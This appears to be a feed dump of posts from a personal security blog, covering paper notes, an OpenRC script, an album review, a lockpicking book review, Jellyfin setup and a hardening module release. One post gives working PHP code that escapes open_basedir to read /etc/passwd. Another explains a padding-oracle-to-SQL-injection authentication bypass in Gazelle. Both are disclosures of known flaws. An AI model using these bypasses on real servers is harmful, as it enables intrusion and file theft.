href="https://github.com/mit-plv/fiat-crypto">fiat-crypto</a> (a + coq-powered high-level to low-level IR proven translator) low-level IR;</li> +<li>lower it via a fuzzer-like machinery replacing/reordering operands + applying semantics-and-data-constrains-preserving transformations, which has an acceptable + search space because:<ul> +<li>it's straight-line no-aliasing constant-offset-pointers assembly;</li> +<li>transformations can be templatised, eg. <code>add ≍ clc; adcx</code>;</li> +</ul> +</li> +<li>lift the resulting x64 assembly to fiat-crypto low-level IR;</li> +<li>use a custom <a href="https://en.wikipedia.org/wiki/E-graph">e-graph</a> based + <em>equivalence checker</em> implemented as a mix between an SMT solver and a symbolic-execution engine;</li> +<li>if the new implementation is correct, benchmark it against the current; + fastest one, and keep it if it's outperforming it.</li> +<li><code>goto 2</code>.</li> +</ol> +<p>This approach has a couple of advantages:</p> +<ul> +<li>fuzzers are cheaper than highly specialised engineering time</li> +<li>porting implementations to new hardware is simply a matter of + running CryptOpt on it.</li> +<li>by lifting the assembly to fiat-crypto low-level IR, + there is no need to write complex formal proofs, + since fiat-crypto is already taking care of those.</li> +<li>controlling the mutations allows to ensure that + the implementation stays side-channel free.</li> +</ul> +<p>The main issue though, is that one needs to formally implement +whatever algorithm to optimize in fiat-crypto, which is not that easy (and +which the authors of the paper didn't do for libsecp256k1).</p> +<p>Implementation-wise, the author ran 200k mutations, with 20 initial candidates, +over 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly, +since the equivalence-based verification is <em>slow</em> (between 0.1s and ~300s), +it's only done once at the end. They found out that "optimization progress is roughly logarithmic +in the number of mutations." CryptOpt generates code around 1.20 to 2.50 times +faster than gcc/clang for the same fiat-crypto generated C code. It's not +faster then OpenSSL (but offers formally verified correctness), but is +faster than libsecp256k1.</p> +<p>The paper was <a href="https://iacr.org/submit/files/slides/2023/rwc/rwc2023/85/slides.pdf">presented</a> at <a href="https://rwc.iacr.org/2023/program.php">Real World Crypto 2023</a>, +and like all good one, it came with an <a href="https://github.com/0xADE1A1DE/CryptOpt">implementation</a></p>Managing a bouncer via OpenRC2023-11-24T16:30:00+01:002023-11-24T16:30:00+01:00jvoisintag:dustri.org,2023-11-24:/b/managing-a-bouncer-via-openrc.html<p>I'm an avid <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a> +user, and I'm using <a href="https://en.wikipedia.org/wiki/XMPP">XMPP</a> to idle on +<a href="https://tails.net/support/index.en.html">Tails</a>' chatrooms. Since protocols +tend to only work when one is connected, they're both running inside a +<a href="https://github.com/tmux/tmux">tmux</a> session, acting as a +<a href="https://en.wikipedia.org/wiki/BNC_(software)">bouncer</a>. +But now that my hypervisor is automatically rebooting to apply security updates, +and during power …</p><p>I'm an avid <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a> +user, and I'm using <a href="https://en.wikipedia.org/wiki/XMPP">XMPP</a> to idle on +<a href="https://tails.net/support/index.en.html">Tails</a>' chatrooms. Since protocols +tend to only work when one is connected, they're both running inside a +<a href="https://github.com/tmux/tmux">tmux</a> session, acting as a +<a href="https://en.wikipedia.org/wiki/BNC_(software)">bouncer</a>. +But now that my hypervisor is automatically rebooting to apply security updates, +and during power cuts via <a href="https://networkupstools.org/">nut</a>, +I needed a way to automatically restart the bouncer. Since +it's running in an <a href="https://www.alpinelinux.org/">Alpine Linux</a> container, +here is my solution in the form of an <a href="https://github.com/OpenRC/openrc">OpenRC</a> +service script, because I couldn't find one on the internet:</p> +<div class="codehilite"><pre><span></span><code><span class="ch">#!/sbin/openrc-run</span> + +<span class="nv">USER</span><span class="o">=</span>jvoisin + +<span class="nv">name</span><span class="o">=</span><span class="s2">&quot;chat&quot;</span> +<span class="nv">command_user</span><span class="o">=</span><span class="s2">&quot;</span><span class="nv">$USER</span><span class="s2">&quot;</span> +<span class="nv">command</span><span class="o">=</span>/usr/bin/tmux +<span class="nv">command_args</span><span class="o">=</span><span class="s2">&quot;new-session -s chat -d &#39;/usr/bin/weechat&#39; \; new-window &#39;/usr/bin/profanity&#39; \; select-window -t -1&quot;</span> +<span class="nv">pidfile</span><span class="o">=</span><span class="s2">&quot;/run/</span><span class="nv">$SVCNAME</span><span class="s2">.pid&quot;</span> + +depend<span class="o">()</span><span class="w"> </span><span class="o">{</span> +<span class="w"> </span>need<span class="w"> </span>net +<span class="w"> </span>use<span class="w"> </span>dns<span class="w"> </span> +<span class="o">}</span><span class="w"> </span> + +stop<span class="o">()</span><span class="w"> </span><span class="o">{</span> +<span class="w"> </span>su<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$USER</span><span class="s2">&quot;</span><span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;tmux kill-session chat&#39;</span> +<span class="o">}</span> +</code></pre></div>Netra - Ingrats2023-11-18T22:45:00+01:002023-11-18T22:45:00+01:00jvoisintag:dustri.org,2023-11-18:/b/netra-ingrats.html<p><a href="https://hypnoticdirgerecords.bandcamp.com/album/ingrats"><img alt="Cover" src="https://dustri.org/b/images/netra_ingrats.jpg"></a></p> +<p><em>Ingrats</em> ("ungrateful ones" in French) is the 3<sup>rd</sup> album from +Netra, and it's a very lonely one, for I don't think it has any peers. A mix of +depressive black metal, trip hop, and jazz à la <a href="https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore">Bohren &amp; der Club of +Gore</a> in equal +measures, bound together with a …</p><p><a href="https://hypnoticdirgerecords.bandcamp.com/album/ingrats"><img alt="Cover" src="https://dustri.org/b/images/netra_ingrats.jpg"></a></p> +<p><em>Ingrats</em> ("ungrateful ones" in French) is the 3<sup>rd</sup> album from +Netra, and it's a very lonely one, for I don't think it has any peers. A mix of +depressive black metal, trip hop, and jazz à la <a href="https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore">Bohren &amp; der Club of +Gore</a> in equal +measures, bound together with a hint of depressive darkwave, resulting +in a not only surprisingly cohesive and daring record, but also an excessively +pleasant and honest one.</p> +<p>Opening with "Gimme a break", a mellow jazzy noir blues vibe where one wants to +snap in rhythm, things quickly devolve into blast beats, raw screams and +twisted guitar of "Everything’s Fine", arguably the most black-metal-esque song +of the album. Albeit it is way more than yet-another-black-metal-track, +morphing into something more complex, with an eerie piano melody, and some +almost gothic rock clear singing. The sudden transitions are perfectly +executed, and the work on the voices is truly delicious, resulting in an +alienating, impetuous yet melancholic track. "Underneath my words the ruins of +yours" is a subtle mix of trip-hop and atmospheric post-rock/darkwave, +pursuing with "Live with It", even more trip-hop, but this time with a +<a href="https://en.wikipedia.org/wiki/Syncopation">syncopated</a> rhythm, 80s gothic +rock, clean vocals and acoustic guitars, … it results in something like +Katatonia doing a feat with <a href="https://en.wikipedia.org/wiki/Gramatik">Gramatik</a> +and <a href="https://en.wikipedia.org/wiki/Ulver">Ulver</a> period early 2000s.</p> +<p>Then the calm before the storm, "Infinite bordedom", a one minute interlude of grainy piano under the rain, +announcing "Don't Keep Me Waiting", some sort of nihilist black metal track, +but with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample +from <a href="https://en.wikipedia.org/wiki/The_Minister">L’exercice de l’État</a> +has a gentle touch of <a href="https://www.metal-archives.com/bands/B%C3%A2%27a/3540445572">Ba'a</a>. Moving on +to "A Genuinely Benevolent Man", starting with synthesisers, +then a 4|4 kick resulting in something that could be on a <a href="https://en.wikipedia.org/wiki/VNV_Nation">VNV Nation</a> album. +Until it decays into something more raw, and when the shrieking vocals +are showing up, you didn't even realise that we've left the world of the darkwave +to return into the one of black metal.</p> +<p>"Paris or Me", dark and rainy, with bits of triptop percussion, +introducing "Could've, Should've, Would've", with tasteful hints of Depeche Mode, Dead Can Dance, +post-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM +cocktail. The album ends with "Jusqu'au-boutiste", starting with some jazzy piano on a <a href="https://en.wikipedia.org/wiki/Bassline#Walking_bass">walking +bass</a>, turning into an ultra-saturated tremolo riff with blast beats, +and both worlds are alternating along the track, only interrupted by a very à +propos sample from <a href="https://en.wikipedia.org/wiki/Low_Down">Low Down</a>. It goes +on until the piano gets creepier and creepier, landing into strings, +morphing into dislocated tip-hop soul, beaching onto calm synthesisers, +and ending with raw black metal as background for electronic sounds.</p> +<p>As <a href="https://hypnoticdirgerecords.com/">Hypnotic Dirge Records</a>, the label on which the disc was produced, perfectly +summarised:</p> +<blockquote> +<p>The perfect soundtrack for late-night walks in the city. The material on +“Ingrats” is an all-out assault on the senses, a bitter pill that must be +swallowed as an accompaniment for self-reflection. An album which can connect +emotionally and leave you drained at the end.</p> +</blockquote>ini_set based open_basedir bypass2023-11-03T16:30:00+01:002023-11-03T16:30:00+01:00jvoisintag:dustri.org,2023-11-03:/b/ini_set-based-open_basedir-bypass.html<p>This one was burned by <a href="https://twitter.com/Blaklis_">Blaklis</a> in 2019, +by being the expected solution for his +<a href="https://github.com/Blaklis/my-challenges/tree/master/phuck3">Phuck3</a> challenge +for InsomniHack Finals 2019, but has been known long before.</p> +<p>In the words of <a href="https://www.php.net/manual/en/ini.core.php#ini.open-basedir">PHP's documentation</a> on <code>open_basedir</code>:</p> +<blockquote> +<p>When a script tries to access the filesystem, for example using include, +or fopen(), the …</p></blockquote><p>This one was burned by <a href="https://twitter.com/Blaklis_">Blaklis</a> in 2019, +by being the expected solution for his +<a href="https://github.com/Blaklis/my-challenges/tree/master/phuck3">Phuck3</a> challenge +for InsomniHack Finals 2019, but has been known long before.</p> +<p>In the words of <a href="https://www.php.net/manual/en/ini.core.php#ini.open-basedir">PHP's documentation</a> on <code>open_basedir</code>:</p> +<blockquote> +<p>When a script tries to access the filesystem, for example using include, +or fopen(), the location of the file is checked. When the file is outside the +specified directory-tree, PHP will refuse to access it. All symbolic links are +resolved, so it's not possible to avoid this restriction with a symlink. If the +file doesn't exist then the symlink couldn't be resolved and the filename is +compared to (a resolved) open_basedir. </p> +<p>[…]</p> +<p>open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. </p> +</blockquote> +<p>It has been more or less fixed in <a href="https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c">March 2021</a>, +then again in <a href="https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551">March 2023</a>, +and again in <a href="https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d">July 2023</a>. +But I wouldn't be surprised if more low-hanging bypasses were lurking ;)</p> +<p>The crux of the bypass is that php didn't resolve relative paths both in +<code>ini_set</code> and when checking <code>php_check_open_basedir</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="o">&lt;?</span><span class="nx">php</span> +<span class="k">echo</span> <span class="nb">ini_get</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">);</span> <span class="c1">// /var/www/html</span> +<span class="nb">mkdir</span><span class="p">(</span><span class="s1">&#39;./tmp&#39;</span><span class="p">);</span> +<span class="nb">chdir</span><span class="p">(</span><span class="s1">&#39;./tmp&#39;</span><span class="p">);</span> +<span class="nb">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span> <span class="s1">&#39;..&#39;</span><span class="p">);</span> +<span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;=</span> <span class="mi">24</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> + <span class="nb">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span> +<span class="p">}</span> +<span class="nb">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span><span class="s1">&#39;/&#39;</span><span class="p">)</span> +<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">&quot;/etc/passwd&quot;</span><span class="p">);</span> +</code></pre></div>Book review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking2023-10-20T18:00:00+02:002023-10-20T18:00:00+02:00jvoisintag:dustri.org,2023-10-20:/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html<p><a href="https://nostarch.com/locksport"><img alt="Locksport's cover" src="https://dustri.org/b/images/locksport.png"></a></p> +<p>I'm starting to feel guilty about getting ebooks for free from +<a href="https://nostarch.com/about">No Starch Press</a>, but apparently they're happy to +send them my way in exchange for a review, so I won't complain.</p> +<p>Anyway, I got a copy of the early access version <a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, +Impressioning …</a></p><p><a href="https://nostarch.com/locksport"><img alt="Locksport's cover" src="https://dustri.org/b/images/locksport.png"></a></p> +<p>I'm starting to feel guilty about getting ebooks for free from +<a href="https://nostarch.com/about">No Starch Press</a>, but apparently they're happy to +send them my way in exchange for a review, so I won't complain.</p> +<p>Anyway, I got a copy of the early access version <a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, +Impressioning, and Safe Cracking</a>! +It's obviously a book about lockpicking, but, as <em>hinted</em> by its name, +from the <a href="https://www.lockwiki.com/index.php/Locks port">sport</a> angle.</p> +<p>I'm not completely clueless when it comes to picking locks, but I've always been +mediocre at best, since I never really put the effort into practising anything +but the basics. This was thus a great opportunity for a deeper dive! +So I got myself a <a href="https://covertinstruments.com/collections/lockpicks/products/genesis-lock-pick">proper set of picks</a>, +3 cutaway training locks <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-serrated-pins">one with serrated pins</a>, +<a href="https://www.sparrowslockpicks.com/products/cut-away-lock-spool-pins">with spool pins</a>, +and <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-check-pins">one with stupid chess pieces pins</a>, +and a couple of locks/padlocks from my local locksmith, and dove into the book!</p> +<p>I was a bit curious about its content, since I didn't bother reading the table of contents, +and was expecting a pile of techniques to open <a href="https://en.wikipedia.org/wiki/Wafer_tumbler_lock">wafer tumbler locks</a> +in the fastest way possible. But the book is so much more than that, with +historical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking +competitions and how to organise one, anecdotes, mechanical details and +resources for those who <a href="https://en.wikipedia.org/wiki/Starship_Troopers_(film)">would like to know +more</a>, how to tear +apart, modify, take care of, and reassemble locks, where to get equipment, +how to <a href="https://www.lockwiki.com/index.php/Impressioning">impression keys</a>, +details on <a href="https://en.wikipedia.org/wiki/Lever_tumbler_lock">lever tumbler locks</a> +and <a href="https://en.wikipedia.org/wiki/Safe">vaults</a>, +…</p> +<p>The part about wafer locks, while interesting, doesn't really go much further +than some basic techniques for entry-level <a href="https://lockwiki.com/index.php/Security_pin#Security_pin_illustrations">security pins</a>, +but I guess practise is the only way to learn how to handle anything non-trivial anyway. +On the other hand, the part about lever locks was highly entertaining, +since those are really weird compared to the <em>usual</em> locks, +and I didn't know much about them.</p> +<p>I recently gifted myself a <a href="https://www.sparrowslockpicks.com/products/challenge-vault">Sparrow's challenge vault</a> for my birthday, +and was thus highly delighted to discover that the book has a whole section +on <a href="https://en.wikipedia.org/wiki/Safe-cracking">safe manipulation</a>; which is +fortunate since the instructions coming with the vault are <s>pure garbage</s> +confusing at best.</p> +<p>The only issue I had with the book is that while it's full of gorgeous colourful +pictures, like the small marks left by pins during key impressioning, +they are unfortunately barely legible on my +<a href="https://www.pocketbook-int.com/ge/products/pocketbook-inkpad-3">Pocketbook InkPad 3</a>, +so I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐 +𝕳𝕯𝕽 e-reader.</p> +<p>All in all, it's a really great self-contained book for newcomers and beginners, +entertaining, detailed, … and doing a tremendous job at making +lockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to +tackle harder locks.</p> +<p>If you already know your way around locks, you might want to look at <a href="https://www.barnesandnoble.com/w/high-security-mechanical-locks-graham-pulford/1111341233">High-Security Mechanical Locks: An +Encyclopedic +Reference</a> instead.</p>Authentication bypass on What.CD's Gazelle2023-10-13T19:45:00+02:002023-10-13T19:45:00+02:00jvoisintag:dustri.org,2023-10-13:/b/authentication-bypass-on-whatcds-gazelle.html<p><a href="https://en.wikipedia.org/wiki/What.CD">What.CD</a> has been dead since 2016, and +hopefully <a href="https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php">nobody</a> +is using <a href="https://github.com/WhatCD/Gazelle">Gazelle</a>, +their "web framework geared towards private BitTorrent tracker" anymore. +I've been sitting on this one for years, I know I wasn't the only one, +and it's not the only low-hanging vulnerability lurking there.</p> +<p>Rolling your own blunt …</p><p><a href="https://en.wikipedia.org/wiki/What.CD">What.CD</a> has been dead since 2016, and +hopefully <a href="https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php">nobody</a> +is using <a href="https://github.com/WhatCD/Gazelle">Gazelle</a>, +their "web framework geared towards private BitTorrent tracker" anymore. +I've been sitting on this one for years, I know I wasn't the only one, +and it's not the only low-hanging vulnerability lurking there.</p> +<p>Rolling your own blunt is alright, rolling your own authentication scheme +less so: there is a trivial <a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">padding oracle</a> +in the <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/encrypt.class.php#L24">homegrown crypto scheme</a>:</p> +<div class="codehilite"><pre><span></span><code><span class="k">public</span> <span class="k">function</span> <span class="nf">decrypt</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">,</span> <span class="nv">$Key</span> <span class="o">=</span> <span class="nx">ENCKEY</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="nv">$CryptStr</span> <span class="o">!=</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">{</span> + <span class="nv">$IV</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span> + <span class="nv">$CryptStr</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">16</span><span class="p">);</span> + <span class="k">return</span> <span class="nb">trim</span><span class="p">(</span><span class="nb">mcrypt_decrypt</span><span class="p">(</span><span class="nx">MCRYPT_RIJNDAEL_128</span><span class="p">,</span> <span class="nv">$Key</span><span class="p">,</span> <span class="nv">$CryptStr</span><span class="p">,</span> <span class="nx">MCRYPT_MODE_CBC</span><span class="p">,</span> <span class="nv">$IV</span><span class="p">));</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="k">return</span> <span class="s1">&#39;&#39;</span><span class="p">;</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div> + +<p>leading to an <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/ajax_start.php#L23-L31">authentication bypass via a SQL injection</a>:</p> +<div class="codehilite"><pre><span></span><code><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">&#39;session&#39;</span><span class="p">]))</span> <span class="p">{</span> + <span class="nv">$LoginCookie</span> <span class="o">=</span> <span class="nv">$Enc</span><span class="o">-&gt;</span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">&#39;session&#39;</span><span class="p">]);</span> +<span class="p">}</span> +<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">))</span> <span class="p">{</span> + <span class="k">list</span><span class="p">(</span><span class="nv">$SessionID</span><span class="p">,</span> <span class="nv">$UserID</span><span class="p">)</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">&quot;|~|&quot;</span><span class="p">,</span> <span class="nv">$Enc</span><span class="o">-&gt;</span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">));</span> + + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$UserID</span> <span class="o">||</span> <span class="o">!</span><span class="nv">$SessionID</span><span class="p">)</span> <span class="p">{</span> + <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Not logged in!&#39;</span><span class="p">);</span> + <span class="p">}</span> + + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$Enabled</span> <span class="o">=</span> <span class="nv">$Cache</span><span class="o">-&gt;</span><span class="na">get_value</span><span class="p">(</span><span class="s2">&quot;enabled_</span><span class="si">$UserID</span><span class="s2">&quot;</span><span class="p">))</span> <span class="p">{</span> + <span class="k">require</span><span class="p">(</span><span class="nx">SERVER_ROOT</span><span class="o">.</span><span class="s1">&#39;/classes/mysql.class.php&#39;</span><span class="p">);</span> <span class="c1">//Require the database wrapper</span> + <span class="nv">$DB</span> <span class="o">=</span> <span class="k">NEW</span> <span class="nx">DB_MYSQL</span><span class="p">;</span> <span class="c1">//Load the database wrapper</span> + <span class="nv">$DB</span><span class="o">-&gt;</span><span class="na">query</span><span class="p">(</span><span class="s2">&quot;</span> +<span class="s2"> SELECT Enabled</span> +<span class="s2"> FROM users_main</span> +<span class="s2"> WHERE ID = &#39;</span><span class="si">$UserID</span><span class="s2">&#39;&quot;</span><span class="p">);</span> + <span class="k">list</span><span class="p">(</span><span class="nv">$Enabled</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$DB</span><span class="o">-&gt;</span><span class="na">next_record</span><span class="p">();</span> + <span class="nv">$Cache</span><span class="o">-&gt;</span><span class="na">cache_value</span><span class="p">(</span><span class="s2">&quot;enabled_</span><span class="si">$UserID</span><span class="s2">&quot;</span><span class="p">,</span> <span class="nv">$Enabled</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + <span class="p">}</span> +<span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Not logged in!&#39;</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div> + +<p>Conveniently, the oracle doesn't touch the database, is completely stateless, +and only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies' +content, making forensic analysis nigh impossible. Once you're admin, there are +a bunch of available SQL injections, like in +<a href="https://github.com/WhatCD/Gazelle/blob/master/sections/reportsv2/takeresolve.php"><code>takerevolve.php</code></a>. +From there, remote code execution is doable, but left as an exercise for the +reader.</p>Video acceleration in Jellyfin inside a Proxmox container2023-10-01T22:15:00+02:002023-10-01T22:15:00+02:00jvoisintag:dustri.org,2023-10-01:/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html<p>For various reasons, including "video decoding is hard", "your web browser hates you" +and "watching movies on a phone over 3G is a basic human necessity", +enabling hardware-accelerated video decoding in <a href="https://jellyfin.org">Jellyfin</a> +is a desirable goal if you don't want your CPU to set your house on fire. </p> +<p>To attain …</p><p>For various reasons, including "video decoding is hard", "your web browser hates you" +and "watching movies on a phone over 3G is a basic human necessity", +enabling hardware-accelerated video decoding in <a href="https://jellyfin.org">Jellyfin</a> +is a desirable goal if you don't want your CPU to set your house on fire. </p> +<p>To attain it, one can mess around <a href="https://github.com/ddimick/proxmox-lxc-idmapper">cryptic gid mappings</a>, +but granting every user on the hypervisor the right to read/write <code>/dev/dri/renderD128</code> and +<code>/dev/dri/card0</code> is way easier, and it looks like this:</p> +<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>&gt;<span class="w"> </span>/etc/udev/rules.d/99-intel-chmod666.rules<span class="w"> </span>&lt;&lt;<span class="w"> </span><span class="s1">&#39;EOF&#39;</span> +<span class="go">KERNEL==&quot;renderD128&quot;, MODE=&quot;0666&quot;</span> +<span class="go">KERNEL==&quot;card0&quot;, MODE=&quot;0666&quot;</span> +<span class="go">EOF</span> +<span class="gp"># </span>udevadm<span class="w"> </span>control<span class="w"> </span>--reload-rules<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>udevadm<span class="w"> </span>trigger +<span class="gp">#</span> +</code></pre></div> + +<p>It doesn't really worsen security, since: +- the devices are only mounted inside my jellyfin container, which would have + the same privileges as if I used gid mapping. +- odds are that an attacker able to get a shell on the hypervisor wouldn't + really need to have r/w access to the two devices to escalate their + privileges anyway, since they would either be: + - root already to escape from a container + - root already to escape from a vm + - whatever proxmox user and likely able to escalate to <code>root</code> trivially + - other users are sandboxed via systemd and/or seccomp.</p> +<p>Speaking of mounting things inside the container:</p> +<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>&gt;<span class="w"> </span>/etc/pve/lxc/114.conf<span class="w"> </span>&lt;&lt;<span class="w"> </span><span class="s1">&#39;EOF&#39;</span> +<span class="go">lxc.cgroup2.devices.allow: c 226:0 rwm</span> +<span class="go">lxc.cgroup2.devices.allow: c 226:128 rwm</span> +<span class="go">lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir</span> +<span class="go">lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file</span> +<span class="go">EOF</span> +<span class="gp">#</span> +</code></pre></div> + +<p>You can now run <code>vainfo</code> inside the container and be delighted by the +presence of the <a href="https://en.wikipedia.org/wiki/Video_Acceleration_API">VA-API</a> version number:</p> +<div class="codehilite"><pre><span></span><code><span class="gp"># </span>vainfo<span class="w"> </span><span class="m">2</span>&gt;/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">1</span> +<span class="go">libva info: VA-API version 1.17.0</span> +<span class="gp">#</span> +</code></pre></div> + +<p>The last step is to tick all the boxes in <a href="https://jellyfin.org/docs/general/administration/hardware-acceleration/">Jellyfin's +preferences</a> +and you're good to go. Don't forget to make some space on the disk for the +transcoding cache, at least until <a href="https://github.com/jellyfin/jellyfin/pull/8744">this</a> +makes its way into a release.</p>Paper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScript2023-09-26T17:15:00+02:002023-09-26T17:15:00+02:00jvoisintag:dustri.org,2023-09-26:/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html<p><a href="https://arxiv.org/pdf/2301.10597.pdf">PDF</a>, <a href="https://dustri.org/b/files/papers/breaking_bad.pdf">local mirror</a></p> +<p>More or less all conversations involving the <a href="https://www.torproject.org/download/">tor browser</a> +will at some point contain the following line: "No, javascript isn't disabled +by default because too many sites would break. You can always crank the +security slider all the way up if you want tho."</p> +<p>We all agree …</p><p><a href="https://arxiv.org/pdf/2301.10597.pdf">PDF</a>, <a href="https://dustri.org/b/files/papers/breaking_bad.pdf">local mirror</a></p> +<p>More or less all conversations involving the <a href="https://www.torproject.org/download/">tor browser</a> +will at some point contain the following line: "No, javascript isn't disabled +by default because too many sites would break. You can always crank the +security slider all the way up if you want tho."</p> +<p>We all agree that javascript enables all sorts of despicable behaviours making +the web a nightmare-material privacy/security cesspit and completely +inscrutable to a lot of users, so having research done +to quantify how to make it a better place for everyone is always more than welcome.</p> +<p>The main idea of the paper is to load pages from the <a href="https://hispar.cs.duke.edu/">Hispar +set</a> with and without <code>javascript.enabled</code> set, +via <a href="https://pptr.dev">Puppeteer</a>, and to perform +magic human-assisted smart diffing to detect user-perceived/perceivable +breakages. </p> +<p>The paper is full of fancy graphs and analysis, but the <a href="https://en.wikipedia.org/wiki/TL;DR">tldr</a> is:</p> +<blockquote> +<p>We discover that 43 % of web pages are not strictly dependent on JavaScript +and that more than 67 % of pages are likely to be usable as long as the visitor +only requires the content from the main section of the page, for which the user +most likely reached the page, while reducing the number of tracking requests by +85 % on average.</p> +</blockquote> +<p>An interesting take is that the usage of javascript framework is the main +source of breakage, since <s>a lot</s> all of them result in completely +unusable websites when javascript is disabled. Moreover, anecdotal data seems +to suggest that the bigger a company is, the more their website is going to +break when javascript is disabled.</p> +<p>And like every decent paper, it comes with the <a href="https://gitlab.inria.fr/Spirals/breaking-bad">related code and data published</a>.</p>Snuffleupagus 0.10.0 - Babar the Elephant2023-09-20T15:25:00+02:002023-09-20T15:25:00+02:00jvoisintag:dustri.org,2023-09-20:/b/snuffleupagus-0100-babar-the-elephant.html<p><a href="https://snuffleupagus.readthedocs.org"><img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"></a></p> +<p>I just published a new release of +<a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0">Snuffleupagus</a>, +the hardening module for php7+ and php8+, +version <code>0.9.0</code>, codename "Babar the Elephant", +named the <a href="https://en.wikipedia.org/wiki/Babar_the_Elephant">eponymous character</a>. +The main new feature is the PHP8.3 support, but there are a couple of +quality-of-life improvements for people using Snuffleupagus with fuzzers …</p><p><a href="https://snuffleupagus.readthedocs.org"><img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"></a></p> +<p>I just published a new release of +<a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0">Snuffleupagus</a>, +the hardening module for php7+ and php8+, +version <code>0.9.0</code>, codename "Babar the Elephant", +named the <a href="https://en.wikipedia.org/wiki/Babar_the_Elephant">eponymous character</a>. +The main new feature is the PHP8.3 support, but there are a couple of +quality-of-life improvements for people using Snuffleupagus with fuzzers as +well.</p> +<h3>Changelog</h3> +<ul> +<li>Compatibility with PHP8.3</li> +<li>Add <code>sp.log_max_len</code> to limit the maximum size of the log messages</li> +<li>Add an example configuration for Xenforo 2.2.12 </li> +<li>Url encode functions arguments when logging them</li> +<li>Fix a possible NULL-byte truncation when outputting parameters in the logs</li> +<li>Make <code>readonly_exec</code> play nice on readonly filesystems </li> +</ul> +<p>As usual, if you want to help, we have some +<a href="https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22">low hanging fruits</a> ♥</p> +<p>See you in your PHP 